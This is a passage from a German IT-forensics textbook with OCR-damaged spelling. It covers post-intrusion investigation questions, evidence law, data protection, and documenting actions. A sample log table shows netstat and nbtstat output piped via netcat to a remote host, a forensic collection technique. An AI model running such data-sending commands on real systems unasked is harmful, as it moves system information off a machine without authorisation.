bereits fiir die Planung der Recovery-Mafinahmen ist es wichtig zu
wissen, welche Server und Netze noch betroffen waren. Wird festge-
stellt, dass der Einbruch auf einem Webserver nur dem Zweck diente,
interne Systeme anzugreifen, wird natiirlich die Suche auch auf diese
Server ausgeweitet. Aus Ermittlungssicht kann eine erhohte Anzahl
kompromittierter Server mitunter auch eine erhohte Anzahl von Spu-
ren und Beweisen bedeuten.

Warum ist gerade dieses Netz oder System angegriffen worden?

Zum besseren Verstindnis der Motive des Angreifers sollte man sich
auch dartiber Gedanken machen, warum gerade dieses System Opfer
eines Systemeinbruchs wurde. Hat der Angreifer diesen Server gezielt
ausgewdhlt, oder ist er nur zufillig bei einem grof$flichigen Portscan
auf diesen Server gestofsen? Handelt es sich um ein Gateway-System,
liegt die Vermutung nahe, dass jemand Zugang zu einem dahinter lie-
genden Netz erlangen wollte.

Wie konnte der Angreifer Zugriff erlangen?

Die Technik, die der Eindringling fir den Angriff auf das System ver-
wendete, ist fiir die Ermittlung genauso interessant wie die eingesetz-
ten Tools. Bestimmte Angriffsmethoden dhneln sich oft und kénnten
eventuell zu dhnlichen Angriffen fihren. Dies konnte auch die infrage
kommende Tatergruppe einschranken. Wenn fiir den Angriff zum Bei-
spiel internes Know-how der betroffenen Organisation benétigt wird,
liefSe es auf einen Innentdter oder einen internen Mittiter schliefSen.
Die Art und Weise des illegalen Zugriffs auf das System oder das
gesamte Netzwerk kann auch Aufschlisse dariiber geben, wieso dieser
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Schadensfeststellung

Analyse der Tools

Angriff iberhaupt moglich war und welche Versaumnisse beim Sys-
tembetreiber lagen. Aufgrund dieser Erkenntnisse konnen Administra-
toren aktiv verhindern, dass ein Angreifer tiber den gleichen Weg in
andere Systeme eindringen kann. Dies setzt allerdings voraus, dass die
Systembetreiber aus dem Vorfall lernen und die gleichen Fehler nicht
wiederholen.

Ist der Angriff vor Kurzem geschehen? Was macht der Angreifer jetzt?

Wenn der Angriff vor kurzer Zeit geschah oder der Angreifer noch
aktiv ist, ist es auch fiir die bessere Einschitzung von Téter und Moti-
ven interessant zu erfahren, was der Angreifer als Nachstes vorhat. Ist
zu erwarten, dass er wiederkommt? Wurde er unterbrochen und
konnte womoglich wiederkehren, steht die Entscheidung an, ob man
mit dem Aufriumen des Schadens wartet und versucht, den Titer wei-
ter zu beobachten.

Was konnte der Angreifer auf diesem System einsehen?

Zur genaueren Einschiatzung des Schadens ist es sinnvoll zu ermitteln,
welche Daten oder Informationen theoretisch vom Angreifer hitten
eingesehen werden konnen. Dies betrifft sowohl die Daten und Infor-
mationen des lokalen angegriffenen Servers als auch der benachbarten
Systeme. Ein nicht zu vernachlassigender Punkt ist die Gefahr, dass in
den angrenzenden Netzwerksegmenten der Datenverkehr belauscht
werden kann. Es finden sich auf angegriffenen Systemen haufig spezi-
elle Sniffer, die Passworter und andere sensible Informationen automa-
tisiert mitschneiden, die dann firr weitere Angriffe verwendet werden
konnten. Aus diesem Grunde ist es wichtig — nachdem man sicher ist,
dass alle Passwort-Sniffer im Netz gefunden wurden —, alle moglicher-
weise kompromittierten Passworter zu andern.

Was wurde vom Angreifer zuriickgelassen?

Aus vielerlei Griinden ist es fiir die weitere Ermittlung wichtig, die
zuriickgelassenen Tools und Spuren zu analysieren. Die auf dem
gehackten System zuriickgelassenen Tools oder Spuren sind fiir die
Einschatzung der Fahigkeiten und der Herkunft des Angreifers oft hilf-
reich. Wurden eigene Tools oder vorgefertigte Werkzeuge verwendet?
Wo wurden diese Werkzeuge bereits gefunden? Wenn das angegriffene
System als Zwischenstation zum Angriff eines anderen Servers vorge-
sehen war, finden sich Hinweise auf die moglichen weiteren Ziele?
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Welche Tools wurden verwendet?

Es gilt herauszufinden, mit welchen Tools der Angriff vermutlich
durchgefiihrt wurde. Mit dieser Erkenntnis konnen eventuell Riick-
schliisse auf andere Fille gezogen werden. Die Analyse der gefundenen
Werkzeuge liefert oft auch Hinweise auf die Herkunft oder den Pro-
grammierer. Gerade bei der Analyse von Rootkits bzw. trojanisierten
Systemdateien kann man Erkenntnisse iber die Absichten und das
weitere Vorgehen eines Angreifers gewinnen. Wenn zum Beispiel ein
bestimmter IP-Adressbereich verborgen werden soll, ist anzunehmen,
dass von diesen IP-Adressen weitere Aktionen ausgehen werden. Das
Auffinden von unbekannten Angriffswerkzeugen kann fur weitere
Ermittlungen enorm wichtig sein und helfen, frithzeitig Trends bei der
Verwendung besonderer Angriffswerkzeuge oder Methoden zu erken-
nen. Analysen der gefundenen Bindrdaten kénnen mitunter Hinweise
auf das fiir die Ubersetzung verwendete Betriebssystem geben. Ein wei-
teres Hilfsmittel, um die Gefihrlichkeit des Angreifers einzuschitzen,
ist die Analyse, ob eventuelle Rootkits mit den Standardoptionen
betrieben werden oder ob deren Default-Passworter und -Konfigurati-
onsdateien modifiziert wurden. Dies setzt eine tiefere Kenntnis der ver-
wendeten Tools voraus und ermoglicht es dem Angreifer, linger uner-
kannt zu bleiben, da Rootkits mit den Standardoptionen schnell
gefunden werden konnen. In diesem Fall hitte man es also eher nicht
mit einem Anfinger-Hacker bzw. Script Kiddy zu tun.

Wie wurden diese Tools aufgerufen?

Die Art und Weise, wie die Angriffstools aufgerufen wurden, gibt Hin-
weise auf die Verwendung von vorgefertigten Skripten. Verfiigt man
z.B. uiber IDS- oder sonstige Echtzeit-Mitschnitte des Angriffs, kann
man erkennen, ob die einzelnen Befehle per Hand eingetippt wurden
(verlangsamte Eingabe, eventuelle Tippfehlerkorrekturen), ob sie zei-
lenweise in die Kommandozeile einkopiert wurden (grofSere Abstande
zwischen den einzelnen Befehlen, die recht lang und komplex sind und
sofort erscheinen) oder geskriptete Tools verwendet wurden (schnelle

Ubergabe von Befehlen ohne lingere Pausen zwischen den einzelnen
Zeilen).

In welcher Programmiersprache wurden die Tools geschrieben?

Die verwendete Programmiersprache ist sicherlich nur ein kleiner
Anhaltspunkt, kann aber durchaus fir die Identifikation eines mogli-
chen Titers hilfreich sein. Es ist aufSerdem zu erwarten, dass komple-
xere Programmiersprachen nur von bestimmten Personengruppen ver-
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Logdatei-Analyse

wendet werden. Hat man Zugriff auf den Quellcode, finden sich oft
Spuren in Kommentarzeilen, Variablenbezeichnungen, Syntaxfehlern
oder »Copyright«-Hinweisen. Perl- und Shell-Skripte sind da oft sehr
auskunftsfreudig. Sicherlich vermerkt der Angreifer dort nicht seine
private Adresse, aber oft finden sich Hinweise auf haufig besuchte
IRC-Channel und dort verwendete Nicknames. Mitunter werden
Kommentare in der eigenen Muttersprache verfasst. Dies muss aber
nicht bedeuten, dass der Angreifer auch der Autor des Skripts oder des
Programms ist.

Haben diese Dateien Ahnlichkeiten mit Dateien, die auf dem System eines
Tatverdachtigen gefunden wurden?

Hat man einen Tater in Verdacht und steht dessen PC fiir eine weitere
Analyse zur Verfiigung, kann ein Vergleich der dortigen Bindrdateien
mit den auf dem angegriffenen System gefundenen weitere Erkennt-
nisse bringen. Das Gleiche gilt natiirlich auch fiir Angriffstools, die auf
anderen Systemen gefunden wurden. Enthalten die Bindrdateien noch
Debug-Code, kann dieser sehr leicht verglichen werden. Auch finden
sich hin und wieder Hinweise auf die verwendete Entwicklungsumge-
bung in den Dateien (Pfadnamen und Compiler- bzw. Bibliotheksversi-
onen).

Welche Events wurden protokolliert?

Konnten Angriffsvorbereitung und Durchfithrung bzw. die zugrunde
liegenden verddchtigen Netzverbindungen protokolliert werden? Gibt
es verlédssliche Firewall-, Router- oder IDS-Logdatei-Eintrige? Wenn
nein, warum nicht? Sind diese Systeme selbst kompromittiert worden
oder hat der Angreifer einen anderen Weg genommen? Finden sich auf
dem angegriffenen System vertrauenswiirdige Logdateien? Wurden
diese vielleicht auf ein anderes System exportiert und sind dann even-
tuell nicht kompromittiert worden? Existieren History-Daten auf dem
System, die nicht durch den Angreifer geloscht oder modifiziert wur-
den? Sind nicht kompromittierte Protokolldaten von Dateiintegritits-
Checkern (z.B. Tripwire oder AIDE) vorhanden?

Was wird durch die Protokolldaten enthiillt?

Kann anhand der Protokolldaten nachvollzogen werden, welcher
Angriff durchgefithrt wurde und welche Schwachstelle zu diesem
Angriff gefithrt hat? Kann man aus den Protokolldaten zuverlissig ent-
nehmen, von welcher IP-Adresse aus der Angriff durchgefithrt wurde?
Kann man feststellen, ob die Angreifer vom gehackten System aus wei-



4.5 Welche Erkenntnisse kann man gewinnen?

75

tere Server angegriffen haben? Ist aus dem Angriff ein Muster heraus-
zulesen?

Protokolldaten der Remote-Access-Systeme

Besteht der Verdacht, dass der Angreifer nicht tiber das Internet oder
ein angeschlossenes Partnernetz gekommen ist, sondern aus einer
internen Netzstruktur, sollten frithzeitig die Protokolldateien der
Remote-Access-Systeme (RAS) gesichert werden. Oft kommt es vor,
dass ein Angreifer iiber einen unzureichend gesicherten RAS-Zugang
oder mit von einem Notebook gestohlenen RAS-Login-Daten ein-
dringt. Diese Alternative sollte immer bedacht werden. Leider wird in
vielen Organisationen keine sinnvolle Protokollierung der RAS-Events
durchgefiihrt.

Protokolldaten der Zutrittskontrollsysteme

Wird ein Innentdter vermutet oder ist ein lokaler Zugriff fiir den auf-
zuklarenden Vorfall notig, sollte man frithzeitig daran denken, die
Daten eventueller Zutrittskontrollsysteme bzw. Videoiiberwachungs-
bander zu sichern. Erfahrungsgemaf$ bedarf die Einsicht dieser Daten
der Mitsprache weiterer Personen (behordlicher bzw. betrieblicher
Datenschutzbeauftragter oder Personal- bzw. Betriebsrat). Auch fin-
den sich diese Daten oft nur im Zugriff des Facility-Managements. Um
Zeitverlusten durch eventuelle organisatorische Hiirden vorzubeugen,
sollte in der Ermittlungsphase frithzeitig geklart werden, ob und wie
man auf diese Zutrittsinformationen zugreifen kann.

Was findet sich auf den Datentréagern?

Wenn ein Angreifer auf einem System aktiv war, werden fast immer
Spuren auf den Datentriagern des Systems hinterlassen. Aus diesem
Grund ist es sehr wichtig, sich den Inhalt der Dateisysteme genau
anzuschauen und nach auffilligen Spuren fiir einen Missbrauch zu
suchen. Die zu suchenden Spuren hingen im starken Mafse von der
konkreten Fragestellung des Sicherheitsvorfalls ab: Wurde das ver-
dachtige System fiir einen Angriff verwendet, ist es selbst angegriffen
oder fur andere Straftaten verwendet worden?

Welche Spuren sind durch die verwendeten Applikationen hinterlassen
worden?

Nicht jede Anwendung arbeitet spurenlos. Fast jede Applikation hin-
terlasst auf der Festplatte oder in den bearbeiteten Dokumenten Spu-

Weitere Beweissuche
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ren. Besuchte Websites bzw. heruntergeladene Dateien lassen sich hau-
fig durch die vom WWW:-Browser hinterlassenen Datenspuren
nachweisen. Ebenso kann es unter Umstdnden gelingen, ein System mit
einer erstellten Datei in Verbindung zu bringen, wenn z.B. Merkmale
wie der Systemname oder der gerade angemeldete Username in der
Datei zu finden sind. Auch die Existenz von diversen Angriffstools
lasst sich in verschiedenen Spuren auf dem lokalen System nachweisen.
Ein weiterer Schritt ist die Suche nach Schliisselwortern, die im
Zusammenhang mit der konkreten Ermittlungsarbeit stehen (IP-
Adressen, E-Mail-Adressen oder Dateinamen).

Welche Dateien wurden gel6scht?

Manchmal geht es darum nachzuweisen, ob jemand seine Spuren auf
dem System verwischen wollte, indem er bestimmte Dateien geloscht
hat. In diesem Fall miissen alle Hinweise auf diese geloschten Dateien
gesammelt werden. Wenn sich die originalen Werkzeuge nicht mehr
auffinden bzw. wiederherstellen lassen, kann man diese vielleicht aus
den bereits geloschten Installationsarchiven extrahieren.

Existieren versteckte Dateien?

Hat ein Angreifer oder Tatverdichtiger versucht, Informationen vor
den Ermittlern zu verstecken? Alle bekannten Moglichkeiten der
Dateimaskierung sollten bedacht werden. Ob es sich um den unge-
nutzten Bereich der Festplatte bzw. einzelner Sektoren oder nur um
einfache Verschleierungsfunktionen der verwendeten Betriebssysteme
handelt, jeder mogliche versteckte Speicherort auf einem Datentriger
muss analysiert werden.

Existieren verschliisselte Dateien?

Verschlisselung ist durchaus ein kontroverses Thema. Im Sinne des
Schutzes von vertraulichen Daten ist eine gute und robuste Verschliis-
selung das Mittel der Wahl. Aus digitalforensischer Sicht kann eine
gute Verschliisselung den Zugriff auf Informationen erheblich ein-
schranken. Besteht die Moglichkeit, das Passwort zu bekommen, soll-
ten auch die verschliisselten Informationen eingesehen werden. Einige
Verschlusselungsverfahren sind aber auch unter bestimmten Rahmen-
bedingungen zu umgehen. Dies kann beispielsweise ermoglicht wer-
den, wenn das verwendete Verfahren Schwichen aufweist, das ver-
wendete Passwort einem Worterbuch bzw. Brute-Force-Angriff nicht
standhalt oder temporire Dateien auflerhalb der verschlisselten Berei-
che zwischengespeichert werden. Kann man vielleicht auch auf ver-
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schlusselte Daten zugreifen, finden sich dort eventuell wertvolle Hin-
weise. Fur den Fortgang der weiteren Ermittlungen kann aber auch der
einfache Hinweis, dass bestimmte Daten verschliisselt sind, von Inter-
esse sein.

Existieren versteckte Partitionen?

Bei der Analyse des Festplattenlayouts sollte man alle vorhandenen
Partitionen identifizieren. Die Tatsache, dass unter einem Betriebssys-
tem nur ein »Laufwerk« zu sehen ist, bedeutet noch lange nicht, dass
nicht noch andere Betriebssysteme oder Partitionen auf der Festplatte
vorhanden sind. Diese sollte man unbedingt in die Untersuchung ein-
beziehen.

Existieren bekannte Hintertiir- oder andere Fernzugriffstools?

Bei der Analyse des Festplatteninhalts sollte man verstarkt nach instal-
lierten Rootkits oder anderen trojanisierten Systemprogrammen
suchen (siehe auch die Ausfithrungen in Abschnitt 5.11). Diese konn-
ten eventuell die Frage beantworten, auf welchem Weg die Angreifer
auf das System gelangt sind. Finden sich hier typische Muster, hat man
einen Anhaltspunkt, wonach man auf den anderen betroffenen oder
bisher unbehelligt geglaubten Systemen suchen sollte.

4.6 Wie geht man korrekt mit Beweismitteln um?

Die Grundlage fiir eine erfolgreiche Ermittlung moglicher Tatverdach-
tiger oder Tatabldufe ist die Gewinnung von Beweismitteln und deren
juristisch einwandfreie Behandlung. Dieses ist besonders hervorzuhe-
ben, da es sich bei den tiblichen Tatspuren in der Mehrzahl um digitale
Spuren handelt, die bei falscher Handhabung an Beweiskraft verlieren
oder gar ginzlich unbrauchbar gemacht werden konnten. Erschwe-
rend kommt hinzu, dass ein Teil der spannenden Informationen nur
eine kurze Halbwertszeit hat. Diese Fliichtigkeit erfordert ein besonne-
nes und koordiniertes Erfassen und Sammeln von Daten in den ersten
Minuten der Ermittlung, besonders wenn man auf eine »Smoking
Gun«-Umgebung trifft, der Eindringling also vielleicht noch auf dem
System aktiv ist oder das System gerade verlassen hat. Es muss jedem
Beteiligten klar sein, dass — egal, welchen Schritt man am verdachtigen
System durchfiihrt — der Systemstatus auf jeden Fall verdndert wird.
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Sachbeweis

Die Person, die den
Beweis beibringt

Gute Dokumentation,
keine Vermischung von

Fakten und Vermutungen

4.6.1 Juristische Bewertung der Beweissituation

Die gewonnenen Beweise werden u.U. in einem Gerichtsverfahren
(zivil- und/oder strafrechtlich) eingebracht (siehe hierzu Kap. 10). Die
Gerichtsverwertbarkeit dieser Beweise ist davon abhingig, unter wel-
chen Umstidnden diese Beweise erhoben wurden. In diesem Zusam-
menhang ist auch die Abhingigkeit des »Sachbeweises« zum »Perso-
nalbeweis« zu betrachten.

Ein Sachbeweis kann die Festplatte, bestimmte Logdateien, ein
Gutachten oder auch ein Fingerabdruck sein. Dieser Beweis wurde
durch eine Person erhoben, in das Verfahren eingebracht und wird im
Sachzusammenhang auf seine »Beweiskraft« erliutert. Der Sachbe-
weis allein hat zunichst keine direkte Aussagekraft. Ein Fingerabdruck
z.B. an einer Mordwaffe sagt nur aus, dass die Person, deren Abdruck
auf der Waffe festgestellt wird, eben diese in der Hand hatte und so mit
dem Fingerabdruck »versehen« hat. Dieser Beweis sagt aber nicht aus,
dass dieser Fingerabdruck »bei der Tatausfiihrung« auf die Waffe
gelangt ist und somit ein Beweis fiur die Taterschaft ist. Denkbar ist
auch, dass der Inhaber des Fingerabdruckes die Waffe vor der Tataus-
fihrung auch in der Hand hatte. Der tatsichliche Téter hat vielleicht
Handschuhe getragen und keine Fingerabdriicke hinterlassen.

Durch dieses Beispiel wird deutlich, dass der Sachbeweis (z.B. die
Logdatei) allein noch keine Aussagekraft hat. Die Beweiskraft wird
durch die Person, die den Beweis erhoben hat, und durch die Person, die
den Beweis in den Tatzusammenhang stellt und erldutert, erst deutlich.
Der Sachbeweis ist somit eng mit dem Personalbeweis verbunden. Das
professionelle Erheben des Beweises und die Darstellung der Person im
Strafverfahren — auch vor Gericht — ergeben erst die Beweiskraft.

Hier wird deutlich, dass eine Person, die den Beweis unrichtig dar-
stellt, widerlegbare Behauptungen oder Interpretationen des Beweises
angibt, unglaubwiirdig werden kann. Das kann dazu fithren, dass der
betreffende Beweis bis zur Bedeutungslosigkeit an Beweiskraft verliert.
Die sachliche Darstellung der Beweiserhebung, der eingesetzten Ver-
fahren und die Erlduterung der Bedeutung z.B. fiir die Taterschaft
wird ein Richter genau priifen. Die Integritit der Person und ihre
Glaubwiirdigkeit sind wesentliche Elemente des Beweises. Ein sachli-
ches, fundiertes Gutachten kann durch eine unglaubwiirdige Darstel-
lung, bei der z.B. Vermutungen als Fakt dargestellt werden, vom Rich-
ter als nicht verwertbar zurickgewiesen werden. Der Richter wird
dieses Gutachten dann nicht zur Rechtsfindung heranziehen.

In Deutschland ist der Richter grundsitzlich in seiner Beweisfiih-
rung frei. Das heifSt, dass er die Glaubwurdigkeit der Person (die den
Beweis im Verfahren darstellt) selbst priifen wird. Seine Entscheidung
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wird der Richter begriinden, aber wenn er der Meinung ist, dass die
Person unglaubwiirdig ist, wird der Beweis nicht oder in seiner Aussa-
gekraft eingeschrankt zur Urteilsfindung herangezogen. Daher ist die
Person, die den Sachbeweis einbringt, genauso bedeutend wie der
Beweis an sich. Eine gute Dokumentation — wie in den folgenden Kapi-
teln beschrieben — hilft demjenigen, der sich als Zeuge vor Gericht
befindet, seine Titigkeiten bei der Beweiserhebung sicher darzustellen.
Dabei sollten die aufgefundenen Tatsachen vor Gericht ganz strikt von
den eigenen Bewertungen getrennt werden. Man muss sich immer vor
Augen halten, dass es hier um Zahlen, Daten und Fakten gehen muss.
Probleme konnen aber immer dann entstehen, wenn bei den beteiligten
Personen aufgrund eines unterschiedlichen Wissensstandes kein Ver-
standnis fiir technische Zusammenhinge vorhanden ist. Dies macht es
umso erforderlicher, dass die darzulegenden Fakten einfach, nachvoll-
ziehbar und verstindlich prasentiert werden. Interpretationen miissen
unbedingt als solche dargestellt werden. Oft werden in solchen
Momenten vor Gericht Tatsachen und Annahmen vermischt. Hier ist
dringend zu unterscheiden.

Ein weiterer Aspekt ist die personliche Beziehung zum oder die
Abhingigkeit des Zeugen vom Geschiddigten und eventuell vom Tater
bzw. Angeklagten. Grundsitzlich ist eine strukturelle Unabhingigkeit
von Vorteil, da dann keine Motivlage im Sinne der Geschadigten oder
des Titers vorliegt.

Es liegt auf der Hand, dass die Beweisspuren durch moglichst
unabhingige Personen erhoben werden sollten. Diese Unabhingigkeit
ist bei einem Ermittlungsbeamten per se gegeben. Es ist aber auch
moglich, auf externe Spezialisten zuriickzugreifen oder in grofSeren
Organisationen eigenes Personal aufzubauen.

4.6.2 Datenschutz

Wenn man sich mit der Erfassung und Auswertung von protokollier-
ten Daten auf I'T-Systemen beschiftigt, kommt man zwangslaufig auf
Fragen, die sich im weiten Feld des Datenschutzes bewegen. Die
Rechtsnormen des Datenschutzes kommen auch zur Anwendung,
wenn Festplatten und Mailboxen ausgewertet werden sollen, die per-
sonenbezogene Daten enthalten kénnten. Durch die Novellierung des
Bundesdatenschutzgesetzes (BDSG), die sich mit dem Arbeitnehmer-
datenschutz beschiftigen, wurden die Hirden fiir eine Sicherstellung
und Auswertung von personenbezogenen Daten nochmals angehoben.

Die Grundlage des Datenschutzes liegt im Recht auf informatio-
nelle Selbstbestimmung, das sich u.a. aus Artikel 2 Abs. 1 des Grund-

Beziehung zwischen
Zeuge und Geschddigtem

Datenschutzgrundsditze
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§ 31 Bundesdaten-
schutzgesetz

Datenschutz bei der
Ermittlung

gesetzes ergibt. Paragraf 3a des BDSG gibt die Grundprinzipien des
Datenschutzes vor:

Datenvermeidung
Weitestgehender Verzicht auf Verarbeitung personenbezogener
Daten

Datensparsamkeit
Speicherung von moglichst wenig personenbezogenen Daten

Systemdatenschutz als Gesamtziel
Datenschutz wird bereits bei der Entwicklung von neuen Systemen
beriicksichtigt.

Anonymisierung
Personenbezogene Daten werden durch gesonderte Speicherung
der Identifikationsmerkmale verdndert und dadurch verfremdet.

Pseudonymisierung

Identifikationsmerkmale werden durch ein Pseudonym ersetzt. Die
Zuordnung zur eigentlichen Person ist nur durch spezielle Zuord-
nungsregelungen moglich.

Gemaf$ § 31 BDSG (Datenerhebung, -verarbeitung und -nutzung fir
Zwecke des Beschiftigungsverhiltnisses) diirfen Daten, die ausschliefs-
lich zu Zwecken der Datenschutzkontrolle, der Datensicherung oder
zur Sicherstellung eines ordnungsgemaiflen Betriebes der Datenverar-
beitungsanlage gespeichert werden, nur fiir diese Zwecke verwendet
werden. Unter diese Daten fallen u.a.

Daten bzgl. Zugangskontrolle und Zugriffskontrolle,

Netzwerk- und Verkehrsinformationen wie IP-Adressen oder Cal-
ler-IDs sowie

Protokolldaten wie Anmelde- und Abmeldezeiten von Benutzern.

Normalerweise ist die Kontrolle des Datenschutzes und der Datensi-
cherheit und in diesem Sinne auch die Auswertung der Protokolldaten
die originire Aufgabe des betrieblichen bzw. behordlichen Daten-
schutzbeauftragten.

Im Vorfeld (also bei der Entwicklung von Incident-Response-Stra-
tegien) sollten daher einige Aspekte des Datenschutzes beriicksichtigt
werden:

Der Datenschutzbeauftragte und der Betriebs- bzw. Personalrat
sollten in die Erstellung eines Konzeptes fiir die Sicherheitsvorfall-
behandlung einbezogen werden. Besonders den Maflnahmen zur
ersten Sicherung der fliichtigen Daten sollten die angesprochenen
Personengruppen zustimmen.



4.6 Wie geht man korrekt mit Beweismitteln um?

81

Sollte eine Auswertung von Protokolldaten mit moglicherweise
personenbezogenen Daten stattfinden miissen, sollte der Daten-
schutzbeauftragte hiervon informiert werden und dieser Auswer-
tung beiwohnen. Ist Gefahr im Verzug, sollte dies auch durch den
Leiter der Revision oder den IT-Leiter wahrgenommen werden.
Dies ist unbedingt im Vorfeld in Absprache mit dem Datenschutz-
beauftragten zu kliren. Neben ermittlungstechnischen Erwdgun-
gen ist auch aus Datenschutzgesichtspunkten darauf zu achten,
dass das Vier-Augen-Prinzip gewahrt bleibt!

Im Rahmen eines grundsitzlichen Monitoringkonzeptes sollte
bestimmt werden, welche Daten zu welchem Zweck protokolliert
werden. Hier ist festzulegen, dass die Aufzeichnung personenbezo-
gener Daten ausschliefSlich der Gewihrleistung eines ordnungsge-
miflen und sicheren IT-Betriebs dient. Eine Aufzeichnung von
Daten erfolgt nur in dem Umfang, wie es fur die Erkennung von
Sicherheitsverstéflen und deren eventueller Riickverfolgung erfor-
derlich ist. Es ist dort ebenfalls zu definieren, dass personenbezo-
gene Daten zu keinem anderen Zweck erfasst, gespeichert oder
ausgewertet werden.

Alle Personen, die mit der Protokollierung und der genehmigten
Auswertung beschiftigt sind, sollten im Rahmen einer Betriebsver-
einbarung oder eines Zusatzes zum Leistungs-, Arbeits- bzw. Werk-
vertrag auf das Datenschutzgesetz verpflichtet werden.

Es muss festgelegt werden, dass die aufgezeichneten Daten, die eine
Zuordnung der protokollierten Events zu einer Person ermoglichen
(IP-Adressen, Dial-in-Daten, Useraccounts etc.), ohne ausdriickli-
che Genehmigung eines Entscheidungstrigers nicht an Dritte wei-
tergegeben werden diirfen.

Grundsatzlich gilt, dass der Datenschutz bei einer Ermittlung nicht
aufler Kraft gesetzt ist. Allerdings geben die Gesetze den Behorden
(und nur diesen) die Ermichtigung, auch Informationen zu sammeln,
zu denen sie wegen des Datenschutzes eigentlich keinen Zugang hit-
ten. Datenschutz soll in diesem Zusammenhang kein Tatenschutz
(oder Taterschutz) sein. Daher gibt es den Grundsatz im Datenschutz-
recht, dass eine Dateniibermittlung stattfinden darf, denn die einschla-
gigen Gesetze zur Strafverfolgung ermachtigen die betreffenden Behor-
den dazu.

Das Recht auf informationelle Selbstbestimmung der Personen
tritt dann unter Abwigung aller rechtlichen Bedingungen in solchen
Fillen hinter den Strafverfolgungsanspruch des Staates zuriick. Dabei
ist in jedem einzelnen Fall eine Entscheidung dartiber zu fillen, ob
neben den betreffenden Normen und Tatbestinden auch die Verhalt-

Ausnahmen fiir Behérden
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»Sterile« Datentrdger
verwenden

nismafSigkeit der Mittel gegeben ist. Die Auskunftspflicht tiber die
Daten wird dann durch die Zeugeneigenschaft des Dateninhabers
bewirkt. Wenn also der Inhaber der Daten als Zeuge vor Gericht gela-
den ist, muss er Auskunft tiber diese Daten geben.

4.6.3 Welche Daten kénnen erfasst werden?

Grundsitzlich lassen sich einige empfindliche Datentypen, die fir die
Ermittlung von Interesse sind, auf einem IT-System finden:

Fliichtige Daten

Informationen, die beim geordneten Shutdown oder Ausschalten
verloren gehen (Inhalt von Cache und Hauptspeicher, Status der
Netzverbindungen, laufende Prozesse etc.)

Fragile Daten

Informationen, die zwar auf der Festplatte gespeichert sind, aber
deren Zustand sich beim Zugriff indern kann (siehe auch die Aus-
fihrungen zu Zeitstempeln in Abschnitt 5.3)

Temporir zugreifbare Daten

Informationen, die sich auf der Festplatte befinden, aber nur zu
bestimmten Zeitpunkten zuginglich sind, z.B. wihrend der Lauf-
zeit einer Anwendung

Fur die Speicherung der Beweise sollten unbedingt »sterile« Datentra-
ger verwendet werden. Diese missen frei von Viren sein. Idealerweise
sollten die Datentrager vor der Verwendung zuverlissig formatiert und
von allen vorherigen Datenspuren bereinigt worden sein. Dies sollte
vor dem Einsatz iiberpriift werden. Der Vollstindigkeit halber sollten
die Werkzeuge und Methoden zur Beweisermittlung und -sicherung
vorher erprobt worden sein. Sinnvollerweise — auch fur die spitere
juristische Wirdigung — sollten allgemein anerkannte Verfahren und
Werkzeuge zum Einsatz kommen.

4.6.4 Bewertung der Beweisspuren

Wahrend der Analyse-Phase werden die in der Secure-Phase erfassten
Daten dahin gehend untersucht, ob sich darin Beweisspuren oder Teile
davon befinden, um den fraglichen Sachverhalt aufzukiren. Dabei las-
sen sich im Grunde genommen grob drei Gruppen von Beweisspuren
unterscheiden:

Beweisspuren, die eine bestimmte Theorie untermauern,
Beweisspuren, die gegen eine bestimmte Theorie sprechen, und
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Beweisspuren, die keine bestimmte Theorie unterstiitzen oder wie-
derlegen, sondern lediglich zeigen, dass das System verindert
wurde, um Informationen oder Spuren zu verbergen.

Bei der Bewertung der Analyseergebnisse sollte man sich immer dari-
ber im Klaren sein, zu welcher Gruppe die gefundene Information
eigentlich gehort und was diese letztendlich aussagen.

4.6.5 Durchgefiihrte Aktionen dokumentieren

Alle wahrend der Ermittlung durchgefithrten Aktionen miissen doku-
mentiert werden. Es ist sinnvoll, sich im Vorfeld ein eigenes Dokumenta-
tionsformat zu definieren und entsprechende Formulare bereitzuhalten.
Wichtig in diesem Zusammenhang ist auch, dass die Dokumentation fiir
Dritte verstandlich ist und eine unberechtigte Veranderung verhindert
wird. Diese Dokumentation kann die Glaubwurdigkeit der Ermittlung,
die zu Belastungsmaterial gefuhrt hat, untermauern.

Die verwendete Dokumentationstechnik muss nicht zwingend
elektronisch sein — erleichtert aber in elektronischer Form die Weiter-
verarbeitung. Wird elektronisch dokumentiert, sollte auf jeden Fall mit
Priifsummen gearbeitet werden, damit eine unberechtigte Modifika-
tion erkannt werden kann.

Neben dem allgemeinen Grund fiir die Untersuchung sollte — wie
in Tabelle 4-1 beispielhaft gezeigt — auch fiir jede einzelne Aktion fest-
gehalten werden, warum dieser Schritt durchgefiithrt wurde und wel-
che Erkenntnis man sich davon erhofft. Zur besseren Bewertung der
gefundenen Spuren ist es wichtig, die aktuelle Umgebung (auch die
physische Umgebung) so genau wie moglich zu beschreiben. Hierbei
ist auf eine grofle Detailtreue zu achten.

Verdichtige Dateien sollten auf jeden Fall fiir eine spitere Analyse
kopiert werden. Ebenso sollte man ausgiebig Gebrauch von Screens-
hots machen. Fiir das »beriihrungslose« Festhalten von Bildschirmin-
halten eignen sich besonders Digitalkameras. Zur besseren Einschat-
zung der gewonnenen Ergebnisse sollten unbedingt die verwendeten
Untersuchungstools mit ihren Versionsnummern festgehalten werden.
Mitunter kommt es spiter zu Diskussionen, ob ein Beweis durch die
Verwendung von unpassenden Untersuchungswerkzeugen eventuell
verfilscht wurde.

Priifsummen bei
elektronischer
Dokumentation

Jede Aktion
berticksichtigen
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Lfd. Nr. | Zeit Befehl MD5 der Ergebnisdatei Kommentar
1 16:17:10 netstat —n|nc 902afd8e6121e153bbc8cb9 | Anzeige der aktiven Netzverbin-
10.0.0.1 8000 3013667fd dungen
2 16:17:30 netstat —an|nc cd6783f8d9a109fe8399126 | Anzeige der offenen Ports
10.0.0.1 8000 74e2f3cf
3 16:17:55 nbtstat —c|nc 931b672fabcdb2145ae51e2 | Anzeige des Cache von NBT-
10.0.0.1 8000 885e9b685 Verbindungen
(-]
6 17:30 Sicherstellung des | Rechnername/ Anwesende Personen:
verdachtigen PC | IP-Adresse: lapBER49, Herr Miller
im Raum B102 192.168.7.69 (Hauptbenutzer des PC)
Inventarnummer: Herr Schulz
BER4543.A3 (Revision, Special Investigation)
Modell: TA-349 Herr Meier

Festplatte (Typ,GroBe, S/N): | (IT-Security)
RPA-0802, 80GB,
34567783-A-34546

Tab. 4-1

Beispiel einer
Dokumentation der
durchgefiihrten Aktionen

Beweiszettel

Werden Beweise gesichert (Festplatten, Ausdrucke oder auch Dateien),
muss fiir eine liickenlose Beweiskette gesorgt werden. Es sollte jeder-
zeit nachvollziehbar sein, wer, wann, wie Zugriff auf diese Beweise
